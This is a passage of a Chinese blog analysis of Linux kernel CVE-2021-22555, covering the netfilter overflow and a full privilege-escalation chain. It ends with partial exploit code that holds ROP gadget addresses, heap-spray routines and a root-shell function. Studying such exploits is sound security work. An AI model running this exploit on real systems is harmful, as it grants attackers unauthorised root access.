struct sock *sk = sock->sk;
struct sock *other = NULL;
int err, size;
struct sk_buff *skb;
int sent = 0;
struct scm_cookie scm;
bool fds_sent = false;
int data_len;
//.....
while (sent < len) {
size = len - sent;
/* Keep two messages in the pipe so it schedules better */
size = min_t(int, size, (sk->sk_sndbuf >> 1) - 64);
/* allow fallback to order-0 allocations */
size = min_t(int, size, SKB_MAX_HEAD(0) + UNIX_SKB_FRAGS_SZ);
data_len = max_t(int, 0, size - SKB_MAX_HEAD(0));
data_len = min_t(size_t, size, PAGE_ALIGN(data_len));
//------------------分叉一:内存申请部分
skb = sock_alloc_send_pskb(sk, size - data_len, data_len,
msg->msg_flags & MSG_DONTWAIT, &err,
get_order(UNIX_SKB_FRAGS_SZ));
//相关检查部分
if (!skb)
goto out_err;
/* Only send the fds in the first buffer */
err = unix_scm_to_skb(&scm, skb, !fds_sent);
if (err < 0) {
kfree_skb(skb);
goto out_err;
}
//.....
//----------------------分叉二:数据复制部分
skb_put(skb, size - data_len);
skb->data_len = data_len;
skb->len = size;
//这里开始进行数据复制
err = skb_copy_datagram_from_iter(skb, 0, &msg->msg_iter, size);
if (err) {
kfree_skb(skb);
goto out_err;
}
//.....
sent += size;
}
//......
return sent;
out_err:
scm_destroy(&scm);
return sent ? : err;
}
先进行相关内存申请,即sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()
还是挺长的,但是最重要的还是最后的__alloc_skb函数。
//v5.9 /net/core/skbuff.c
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
int flags, int node)
{
struct kmem_cache *cache;
struct skb_shared_info *shinfo;
struct sk_buff *skb;
u8 *data;
bool pfmemalloc;
cache = (flags & SKB_ALLOC_FCLONE)
? skbuff_fclone_cache : skbuff_head_cache;
if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
gfp_mask |= __GFP_MEMALLOC;
/* Get the HEAD */
//从专门的缓存池skbuff_fclone_cache/skbuff_head_cache中申请内存
//作为头部的管理结构
skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);
if (!skb)
goto out;
//......
//先对齐,这个和L1_CACHE_BYTES有关,64位系统即和64(0x40)对齐,32位类似,具体的还是查一下最好
size = SKB_DATA_ALIGN(size);
//size += 对齐之后的0x140
//那么size只可能是0x140+n*0x40,最低为0x180,属于kmalloc-512
size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
//虽然是kmalloc_reserve函数,但是最终还是kmalloc形式
//调用到`__kmalloc_node_track_caller`函数进行分配
//这个data即为我们实际的存储数据的地方,也是从kmalloc申请出的堆块
//并且是从对开的开头位置处开始存储,完成内存申请后返回unix_stream_sendmsg函数
//在`skb_copy_datagram_from_iter`函数中数据会被复制
data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
if (!data)
goto nodata;
//...
size = SKB_WITH_OVERHEAD(ksize(data));
//....
//初始化头部的管理结构
memset(skb, 0, offsetof(struct sk_buff, tail));
/* Account for allocated memory : skb + skb->head */
skb->truesize = SKB_TRUESIZE(size);
skb->pfmemalloc = pfmemalloc;
refcount_set(&skb->users, 1);
skb->head = data;
skb->data = data;
skb_reset_tail_pointer(skb);
skb->end = skb->tail + size;
skb->mac_header = (typeof(skb->mac_header))~0U;
skb->transport_header = (typeof(skb->transport_header))~0U;
//...
out:
return skb;
nodata:
kmem_cache_free(cache, skb);
skb = NULL;
goto out;
}
相关内存申请完成之后,回到unix_stream_sendmsg函数,开始进行数据复制skb_copy_datagram_from_iter,即上述提到的。
//v5.9 /net/core/datagram.c
int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,
struct iov_iter *from,
int len)
{
int start = skb_headlen(skb); // skb->len - skb->data_len;
int i, copy = start - offset; // copy 是线性数据区的剩余空间大小
struct sk_buff *frag_iter;
//拷贝到申请的保存数据的堆块skb->data
if (copy > 0) {
if (copy > len)
copy = len;
if (copy_from_iter(skb->data + offset, copy, from) != copy)
goto fault;
if ((len -= copy) == 0)
return 0;
offset += copy;
}
//....
}
当从socker套接字中读取出某条信息的所有数据时,就会发生该条信息的相关内存的释放,即该条信息对应sk_buff和skb->data的释放。同样的,如果该条信息没有被读取完毕,则不会发生该信息相关内存的释放。
在read时进行的函数调用链:
read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic()
同样的在unix_stream_read_generic处开始分叉,也是分为两部分,下面截取重要部分。
//v5.9 /net/unix/af_unix.c
static int unix_stream_read_generic(struct unix_stream_read_state *state,
bool freezable)
{
//....
do {
//....
chunk = min_t(unsigned int, unix_skb_len(skb) - skip, size);
skb_get(skb);
//------------------分叉一:数据复制
//recv_actor函数指针是在unix_stream_recvmsg函数中定义的state函数表
//该函数指针对应unix_stream_read_actor函数,即从这开始进行数据复制
chunk = state->recv_actor(skb, skip, chunk, state);
//...
//传输数据完成之后,skb->users从2改为1,表示已经复制完数据了,方便后续判断
//消息中是否还有数据
consume_skb(skb);
if (chunk < 0) {
if (copied == 0)
copied = -EFAULT;
break;
}
copied += chunk;
size -= chunk;
/* Mark read part of skb as used */
if (!(flags & MSG_PEEK)) {
//修改skb类型转换之后对应的consumed字段,其实就是skb->cb某个位置处的数据
//#define UNIXCB(skb) (*(struct unix_skb_parms *)&((skb)->cb))
UNIXCB(skb).consumed += chunk;
//依据上面的consumed和len来判断消息中是否还剩下没有传输的数据
//有(1)则break,无(0)则进入后续的内存释放阶段
if (unix_skb_len(skb))
break;
//------------------------分叉二:内存释放
//内存释放前置工作
skb_unlink(skb, &sk->sk_receive_queue);
//进入该函数,通过对于skb->users的判断之后,进入内存释放阶段
consume_skb(skb);
//....................
} while (size);
//......................
out:
return copied ? : err;
}
之后的函数调用链为
unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()
最终进入__skb_datagram_iter。
//v5.9 /net/core/datagram.c
static int __skb_datagram_iter(const struct sk_buff *skb, int offset,
struct iov_iter *to, int len, bool fault_short,
size_t (*cb)(const void *, size_t, void *,
struct iov_iter *), void *data)
{
int start = skb_headlen(skb);
int i, copy = start - offset, start_off = offset, n;
struct sk_buff *frag_iter;
/* Copy header. */
//这个header指的就是数据data,大概就是从这里开始实际的数据
if (copy > 0) {
if (copy > len)
copy = len;
n = INDIRECT_CALL_1(cb, simple_copy_to_iter,
skb->data + offset, copy, data, to);
offset += n;
if (n != copy)
goto short_copy;
if ((len -= copy) == 0)
return 0;
}
//......
/* Copy paged appendix. Hmm... why does this look so complicated? */
//linux内核维护人员都看不下去了,xs
//......
}
这里使用了感觉很复杂的机制,不是很懂。
进入内存释放的函数调用链为:
释放skb->data部分:
consume_skb()->__kfree_skb()->skb_release_all()->skb_release_all()->skb_release_data()->skb_free_head()
对应函数如下:
//v5.9 /net/core/skbuff.c
static void skb_free_head(struct sk_buff *skb)
{
//其实head和data是一样的
unsigned char *head = skb->head;
if (skb->head_frag) {
if (skb_pp_recycle(skb, head))
return;
skb_free_frag(head);
} else {
kfree(head);
}
}
可以看到使用的正常的kfree函数。
释放skb部分:
consume_skb()->__kfree_skb()->kfree_skbmem()
相关函数如下:
//v5.9 /net/core/skbuff.c
static void kfree_skbmem(struct sk_buff *skb)
{
struct sk_buff_fclones *fclones;
//克隆体相关的,没有fork之类的话一般不用太管的
switch (skb->fclone) {
case SKB_FCLONE_UNAVAILABLE:
//用专门的cache(skbuff_head_cache)进行回收
kmem_cache_free(skbuff_head_cache, skb);
return;
case SKB_FCLONE_ORIG:
fclones = container_of(skb, struct sk_buff_fclones, skb1);
/* We usually free the clone (TX completion) before original skb
* This test would have no chance to be true for the clone,
* while here, branch prediction will be good.
*/
if (refcount_read(&fclones->fclone_ref) == 1)
goto fastpath;
break;
default: /* SKB_FCLONE_CLONE */
fclones = container_of(skb, struct sk_buff_fclones, skb2);
break;
}
if (!refcount_dec_and_test(&fclones->fclone_ref))
return;
fastpath:
//用专门的cache(skbuff_fclone_cache)进行回收克隆的skb
kmem_cache_free(skbuff_fclone_cache, fclones);
}
这个就不太好利用了。
同样的,当关闭的信道的两端,该信道内产生的所有的sk_buff和skb->data都会得到释放。
内存释放总结:
当从信道中将某条消息全部读取完之后,会发生该条消息对应的sk_buff和skb->data的内存释放,且sk_buff释放到专门的缓存池中,skb->data使用正常的kfree释放。
当关闭信道两端,该信道内产生的所有的sk_buff和skb->data都会得到释放,具体的调用链为:
sock_close()->__sock_release()->unix_release()->__kfree_skb()
后面就类似了。
三
漏洞分析
由于我编译环境的时候老是出问题(后面才解决的),所以直接拿bsauce师傅提供的环境来用了,但是又没有带DEBUG的vmlinux,所以我使用vmlinux-to-elf(https://github.com/marin-m/vmlinux-to-elf.git)简单获取下符号就开始逆向了(xs),所以下面漏洞分析提到的地址为bsauce师傅环境的地址。
CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)
https://www.anquanke.com/post/id/254027#h2-1
相关的Netfilter分析就不做了,也不太会,可以看看bsauce师傅的,这里主要关注数据的传输过程的一些东西。
通过Netfilter的setsockopt系统调用,传入用户数据&data,可依据该&data中的相关数据进行不同大小的堆块申请。完成申请后,还会对该堆块进行一定的处理,其中就有向堆块末尾填充数据的操作。
memset(t->data + target->targetsize, 0, pad);
其中t->data+target->targetsize即为申请的堆块上末尾处的某个地址,pad为如下定义:
pad = XT_ALIGN(target->targetsize) - target->targetsize;
其实pad的值即为8 - (target->targetsize mod 8),就是所谓的8字节对齐。
并且t->data的地址偏移和target->targetsize的值都可被我们直接或间接地控制,那么就可以存在堆块溢出写0的操作了,这里最多溢出4个字节填充为0。
下面是具体的关键函数调用链和相关分析。
句柄定义
//v5.11.14 net/ipv4/netfilter/ip_tables.c
static struct nf_sockopt_ops ipt_sockopts = {
....
.get = do_ipt_get_ctl,
....
};
这样到调用setsockopt系统调用时,就会调用到do_ipt_get_ctl函数。
(struct sock *sk, int cmd, sockptr_t arg, unsigned int len)
static struct nf_sockopt_ops ipt_sockopts = {
....
.get = do_ipt_get_ctl,
....
};
通过_copy_from_user复制&data的0x5c字节给tmp。
参数:
(struct net *net, sockptr_t arg, unsigned int len)
地址:0xffffffff81b0baf0
介绍:
主要关注变量:
//传入的
sockptr_t arg;
//自定义的
struct compat_ipt_replace tmp;//保存size
struct xt_table_info *newinfo;
调用translate_compat_table(),传入本函数定义的tmp作为compatr,该变量tmp由函数copy_from_sockptr(&tmp, arg, sizeof(tmp))进行赋值。
相关函数链:copy_from_sockptr->copy_from_sockptr->copy_from_sockptr_offset->copy_from_user
//v5.11.14 /include/linux/sockptr.h
static inline int copy_from_sockptr_offset(void *dst, sockptr_t src,
size_t offset, size_t size)
{
if (!sockptr_is_kernel(src))
return copy_from_user(dst, src.user + offset, size);
memcpy(dst, src.kernel + offset, size);
return 0;
}
这里的dst即为tmp,src即为arg,也就是会依据arg(&data)的内容来给tmp赋值。即最后的compatr的来源为上述提到的sockptr_t arg,也就是用户传入的参数&data。
从&data中复制0x5c(sizeof(struct compat_ipt_replace))大小的给到tmp(compatr),如下代码所示:
//v5.11.14 /net/ipv4/netfilter/ip_tables.c
static int
compat_do_replace(struct net *net, sockptr_t arg, unsigned int len)
{
//.....
if (copy_from_sockptr(&tmp, arg, sizeof(tmp)) != 0)
return -EFAULT;
///....
//这里的tmp.size即为0xfb6,传入的data.replace.size,也是申请了堆块的。
//不过这个堆块不用太过关注,但是这个不能随便设置,不然会在如下检查出错误
//然后跳转out_unlock从而无法进入漏洞点
/*
//translate_compat_table函数中
//Walk through entries, checking offsets.
xt_entry_foreach(iter0, entry0, compatr->size) {
ret = check_compat_entry_size_and_hooks(iter0, info, &size,
entry0,
entry0 + compatr->size);
if (ret != 0)
goto out_unlock;
++j;
}
*/
//需要注意的是这个newinfo和下面函数中的newinfo不是同一个
newinfo = xt_alloc_table_info(tmp.size);
//......
ret = translate_compat_table(net, &newinfo, &loc_cpu_entry, &tmp);
//.....
}
复制的这些数据中就包含定义好的size,用来完成之后的堆块申请。
4.translate_compat_table()
参数:
(struct net *net,struct xt_table_info **pinfo,void **pentry0,const struct compat_ipt_replace *compatr)
地址:0xffffffff81b0b3e0
介绍:
主要关注变量:
//传入的
const struct compat_ipt_replace *compatr;
//自定义的
unsigned int size;
struct xt_table_info *newinfo;
void *pos, *entry1;
struct compat_ipt_entry *iter0;
size:size = compatr->size;
newinfo:依据size即上述的compatr->size申请堆块,漏洞点就出在这个申请的堆块上面。
translate_compat_table(struct net *net,
struct xt_table_info **pinfo,
void **pentry0,
const struct compat_ipt_replace *compatr)
{
//.....
size = compatr->size;
//....
//这个堆块就是漏洞堆块了。
newinfo = xt_alloc_table_info(size);
//.....
}
通过xt_alloc_table_info来申请堆块,其中有如下代码:
//v5.11.14 /net/netfilter/x_tables.c
struct xt_table_info *xt_alloc_table_info(unsigned int size)
{
struct xt_table_info *info = NULL;
size_t sz = sizeof(*info) + size;//加上0x40大小
if (sz < sizeof(*info) || sz >= XT_MAX_TABLE_SIZE)
return NULL;
//实际申请的堆块大小为0xffe,即kmalloc-4096,这个堆块就是漏洞堆块了。
//结构为struct xt_table_info
info = kvmalloc(sz, GFP_KERNEL_ACCOUNT);
if (!info)
return NULL;
memset(info, 0, sizeof(*info));
info->size = size;
return info;
}
可以看到使用kvmalloc,申请标志为GFP_KERNEL_ACCOUNT,并且XT_MAX_TABLE_SIZE定义如下,也就是在kmalloc-512到kmalloc-8192。
#define XT_MAX_TABLE_SIZE (512 * 1024 * 1024)
pos/entry1:
entry1 = newinfo->entries;
pos = entry1;
即pos/entry1的值为newinfo_addr+0x40(0x4*3+0x14+0x14+0x4+0x8)
调用如下函数进行下一步:
compat_copy_entry_from_user(iter0, &pos, &size,
newinfo, entry1);
5.compat_copy_entry_from_user()
参数:
(struct compat_ipt_entry *e, void **dstptr,
unsigned int *size,
struct xt_table_info *newinfo, unsigned char *base)
地址:不太清楚
介绍:
主要关注变量:
//传入的
//即保存pos的栈地址,值为newinfo->entries(newinfo_addr+0x40)
void **dstptr;
unsigned int *size;
struct xt_table_info *newinfo;
相关操作:
compat_copy_entry_from_user(struct compat_ipt_entry *e, void **dstptr,
unsigned int *size,
struct xt_table_info *newinfo, unsigned char *base)
{
//....
//即pos加上0x70,值为newinfo_addr+0x40+0x70
*dstptr += sizeof(struct ipt_entry);
*size += sizeof(struct ipt_entry) - sizeof(struct compat_ipt_entry);
xt_ematch_foreach(ematch, e)
xt_compat_match_from_user(ematch, dstptr, size);
//.....
xt_compat_target_from_user(t, dstptr, size);
//.....
}
6.xt_compat_match_from_user()
这个函数和接下来的漏洞函数xt_compat_target_from_user可以说基本一致,观察下图即可看到,具体用来干什么不太清楚,但是作用也是相关的pad填充newinfo上的数据。打了一个循环xt_ematch_foreach,在我们关注的这个漏洞里,其作用就只是使得*dstptr + n * msize,也就是在我们关心的最终值为newinfo_addr+0x40+0x70+n * msize,从而使得在进入xt_compat_target_from_user之前,*dstptr上的堆块地址已经移动到末尾了。
<img src="https://pig-007.oss-cn-beijing.aliyuncs.com/Img/image-20220507214923917.png" alt="image-20220507214923917" style="zoom: 80%;" /> <img src="https://pig-007.oss-cn-beijing.aliyuncs.com/Img/image-20220507214947982.png" alt="image-20220507214947982" style="zoom: 80%;" />
做了一个数据对比:
newinfo: 0xffff888006a2a000
t: 0xffff888006a2afda
t->data: 0xffff888006a2affa
target->targetsize: 0x4
dstptr:
xt_compat_match_from_user的时候:
0xffffc900002b7ad0->0xffff888006a2a0b0
xt_compat_target_from_user的时候:
0xffffc900002b7ad0->0xffff888006a2afda
也就是说经过xt_compat_match_from_user函数之后,保存在*dstptr上的漏洞堆的地址已经加上了0xf2a。
终于来到最后的漏洞函数。
参数:
(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
地址:0xFFFFFFFF81A82F75
介绍:
主要关注变量
//传入的
struct xt_entry_target *t;
void **dstptr;
unsigned int *size;
//自定义的
const struct xt_target *target = t->u.kernel.target;
int pad, off = xt_compat_target_offset(target);
相关操作:
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
int pad, off = xt_compat_target_offset(target);
//.....
//即获取指针为newinfo+0x40+0x70+0xf2a
t = *dstptr;
//.....
//进行8字节对齐
pad = XT_ALIGN(target->targetsize) - target->targetsize;
if (pad > 0)
//target->targetsize为4,则最终传入的地址为
//newinfo+0x40+0x70+0xf2a+0x20+0x4=newinfo+0xffe
//同时pad在经过对齐之后也为4,那么就溢出2个字节
memset(t->data + target->targetsize, 0, pad);
//.....
}
总结
通过上述分析可以看到,其实该漏洞的成因就是:
通过控制传入的&data中的pad的大小来控制申请的堆块的大小和t->data的相对偏移地址。
struct __attribute__((__packed__)) {
struct ipt_replace replace; // 0x60
struct ipt_entry entry; // 0x70
struct xt_entry_match match; // 0x20
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
struct xt_entry_target target; // 0x20
} data = {0};
例子:
比如bsauce师傅提供的EXP中的pad如下,这里使用的是kmalloc-4096:
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
那么我们尝试使用kmalloc-2048,在代码中减去0x800得到如下:
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2 - 0x800];
断点打在xt_alloc_table_info,在第二次的xt_alloc_table_info申请漏洞堆块处,查看下CPU0的kmalloc-2048中freelist中的堆块。
然后finish当前函数,查看rax申请到的堆块,即为freelist中的第一个堆块。
可以看到是从CP0的kmalloc-2048中申请得到的,之后在call memset的漏洞点打下断点,按c继续运行,断下来。
可以看到仍然还是该漏洞堆块,并且相关的地址也类似的,pad为0x4,所以还是存在漏洞点的。
不过具体的细节有点不太清楚,后续还得补一补Netfilter的相关知识。
通过控制传入的data.target.u.user.revision来控制target->targetsize。
data.target.u.user.revision = 1;
不同的version控制不同的target->targetsize。
这里经过我自己的实际调试,感觉bsauce师傅说的有点小问题。漏洞点应该是出在上述的t->daii地址没有0x8对齐的时候,并且target->size也没有0x8对齐的情况下。
此外,不应该只是2字节溢出,最多应该可以到达4字节溢出,如下设置:
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2 + 0x2];
这样可以溢出4个字节写0,最终效果如下:
如果再加pad的话就会导致申请出kmalloc-8192的堆块了。
四
漏洞利用
这里涉及到之前提到的msg_msg结构体利用。
首先使用msgget申请多个消息队列,然后往每个消息队列发送两条消息,一条主消息0x1000,一条辅助消息0x400。这里发送消息时需要注意下,先遍历每个队列发送主消息,然后再遍历每个队列发送辅助消息。这样进行堆喷构造后,其中就会有部分的消息队列中的主消息连成一整块地址连续的内存,辅助消息也需要地址连成一整块,方便后续泄露地址,但是这里为了好看就没有连一起。比如这里申请三个消息队列,最终形成类似的如下布局。
当然这里每条0x1000的主消息中还有几个struct msg_msgseg*没有画出来。
这里我们先释放例子中的第二条主消息,虽说在主消息中是由4个kmalloc(0x400)申请出来的4个堆块,但是如果都释放之后,内存的回收机制发现这四个地址连续且都被释放,那么就会归并成一页page还给Slub分配器,其实就是kmalloc-4096。(里面算法很复杂,不是很懂,后面再来理清楚。)之后再申请0x1000大小的堆块,就会优先从这里取。
然后我们使用漏洞,调用socketopt来申请一个0x1000的xt_table_info,就会占据到我们刚刚释放的0x1000大小的堆块上。(这个前面我们分析socketopt会申请两个0x1000大小的堆块,那么我们之后就是多释放几条主消息即可)这样在占据之后,发生2字节溢出写0,就可以溢出到下一个消息队列的msg_msg头部结构的struct list_head m_list.next指针,从而使得其指向其他位置,如果运气好的话,由于辅助消息也是堆喷形式,且大小为0x400,那么溢出两字节写0就可能将该next指针指向其他的辅助消息,从而造成两个消息队列中共存一个辅助消息。
比如图中消息队列3中的主消息头部的struct list_head m_list.next即被修改(黑色为溢出2字节写0),如红色箭头所示指向了消息队列1中的辅助消息,这样消息队列1和消息队列3都指向了同一个辅助消息,构成了堆块overlap。之后我们释放消息队列1中的辅助消息,而消息队列3仍然指向该辅助消息,构成了UAF。
注:在实际的利用里,需要进行堆喷布局,申请很多的消息队列,这时候就需要用MSG_COPY标志位来进行消息读取。利用此标志位读取消息但不释放堆块,然后借助发送消息时自己留下的索引标志来判断到底是哪个辅助消息被两个消息队列所包含,这样就能进行后续的利用。
首先使用sk_buff的data数据块来占据该UAF堆块。前面提到sk_buff的结构头使用独有的缓冲池kache来申请,但是其data数据块还是使用kmalloc常规路线来申请释放(使用正常的发包收包即可完成申请释放),并且size和data内容完全可控,这样我们就可以完全控制该UAF堆块。
之后伪造一个fake_msg_msg结构体,结构如下
//v5.11 /include/linux/msg.h
struct msg_msg {
struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
void *security;
/* the actual message follows immediately */
};
改大其m_ts域,就可以读取出消息队列2的辅助消息头部指针struct list_head m_list.next的值,从而泄露消息队列2的msg_msg_queue的struct list_head m_list域的地址,为一个堆地址。
之后我们修改fake_msg_msg的struct msg_msgseg *next指针,指向上述获得的消息队列2的struct list_head m_list域的地址,就能读出该struct list_head m_list域的prev指针,即为消息队列2的辅助消息的地址,减去0x400即为UAF堆块的地址。
接下来利用到pipe管道,主要是其中struct pipe_inode_info的struct pipe_buffer *bufs;数组,总大小为0x280,使用kmalloc-1024,满足当前的UAF(同样使用正常的read/write即可完成申请释放)。其结构为:
//v5.11.14 /include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
利用如下操作读取const struct pipe_buf_operations *ops;指针,即可泄露内核基地址。
利用 sk_buff 修复UAF处的辅助消息,之后从消息队列中接收该辅助消息,此时该UAF对象重回 slub的kmalloc-1024的freelist中,但 sk_buff 仍指向该UAF对象。
喷射 pipe_buffer,就会将该UAF对象申请回来,将pipe_buffer写入到该UAF对象上,之后再接收 sk_buff 数据包,即可获取pipe_buffer上的数据,得到const struct pipe_buf_operations *ops;指针,即可泄露内核基地址。
之前也提到过,当我们关闭管道pipe两端或者从管道pipe中读取出所有数据之后,会调用到pipe_buf_release()函数进行清理,其中会调用struct pipe_buffer *bufs;下的const struct pipe_buf_operations *ops;对应函数表中的release函数指针。
static inline void pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
const struct pipe_buf_operations *ops = buf->ops;
buf->ops = NULL;
ops->release(pipe, buf);
}
现在我们就可以通过sk_buff来劫持劫持ops指针函数表,修改其中的release函数指针,完成劫持程序流。并且此时的rsi即为buf为我们的UAF对象,而sk_buff又可以使得UAF对象里的数据完全可控。如果找到一个可以将rsp劫持为rsi的gadget,那么就可以完全操控程序流程了。
这个其实也没有什么好讲的,看懂漏洞利用过程其实也很容易写出来的,主要提一下某些比较偏的知识点,也防止忘记。
通常是用来进行堆块分配时查看堆块内存的,防止堆块申请的时候东一个西一个的,方便调试,同时也是为了提高堆喷射的稳定性。
//bind the cpu0
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
return -1;
}
int setup_sandbox(void) {
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
return -1;
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
return -1;
}
}
EXP原作者称:当IPT_SO_SET_REPLACE或IP6T_SO_SET_REPLACE在兼容模式下被调用时(需要CAP_NET_ADMIN权限)。
这个在源代码do_ipt_set_ctl()函数中有所体现。
//v5.11.14 /net/ipv4/netfilter/ip_tables.c
static int
do_ipt_set_ctl(struct sock *sk, int cmd, sockptr_t arg, unsigned int len)
{
int ret;
//提到当兼容模式下需要CAP_NET_ADMIN权限
if (!ns_capable(sock_net(sk)->user_ns, CAP_NET_ADMIN))
return -EPERM;
//....
return ret;
}
而用户空间隔离出独立的命名空间后就能拥有CAP_NET_ADMIN权限,所以需要,其实也不是太懂这个干啥的。
其他的好像也没有什么了,就是最后的ROP链条方面的东西,由于最后触发劫持程序流的时候,rsi为UAF对象地址,所以利用gadget先进行栈劫持rsp,然后使用利用commit_creds(&init_cred)获取ROOT权限,之后使用SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE绕过KPTI和SMEP即可。
参考:
【CVE.0x07】CVE-2021-22555 漏洞复现及简要分析 - arttnba3's blog
https://arttnba3.cn/2022/04/01/CVE-0X07-CVE-2021-22555/#Final-EXPLOIT
Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)
主要是bsauce师傅的EXP(https://github.com/bsauce/kernel-exploit-factory)和arttnba3师傅的EXP(https://arttnba3.cn/2022/04/01/CVE-0X07-CVE-2021-22555/#Final-EXPLOIT),然后改巴改巴,加了点东西,替换了一下ROP链条什么的。
//compile exp: $ gcc -m32 -static -masm=intel -o exploit exploit.c
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on
#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400
#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096
#define HOLE_STEP 1024
#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337
#define MSG_TAG 0xAAAAAAAA
//Gadget
#define PUSH_RSI_JMP_RSI_0x2E 0xffffffff81b4e244
#define ADD_RSP_0x98_RET 0xffffffff81a7895e
#define POP_RSP_RET 0xffffffff81900644
#define POP_RDI_RET 0xffffffff81001629
#define INIT_CRED 0xffffffff8244c8a0
#define COMMIT_CREDS 0xffffffff8108e690
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00df0
#define ANON_PIPE_BUF_OPS 0xffffffff82019340
//pt_regs
size_t user_cs, user_ss, user_sp, user_eflags;
// clang-format on
#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))
//some struct
struct msg_msg {
uint64_t m_list_next;
uint64_t m_list_prev;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct msg_msgseg {
uint64_t next;
};
struct pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t private;
};
struct pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t steal;
uint64_t get;
};
struct {
long mtype;
char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;
struct {
long mtype;
char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;
struct {
long mtype;
char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}
void getRootShell(void)
{
if (getuid())
{
printf("failed to gain the root!\n");
exit(0);
}
printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n");
system("/bin/sh");
}
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, esp;"
"pushf;"
"pop user_eflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
*(long *)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("[-] msgsnd");
return -1;
}
return 0;
}
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <
0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}
int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}
int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], buf, size) < 0) {
perror("[-] read");
return -1;
}
}
}
return 0;
}
int trigger_oob_write(int s) {
struct __attribute__((__packed__)) {
struct ipt_replace replace; // 0x60
struct ipt_entry entry; // 0x70
struct xt_entry_match match; // 0x20
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2]; // kvmalloc_size = sizeof(xt_table_info) + ipt_replace->size = 0x40 + (0xFB8 - 0x2) = 0xFF8 - 0x2
struct xt_entry_target target; // 0x20
} data = {0};
data.replace.num_counters = 1;
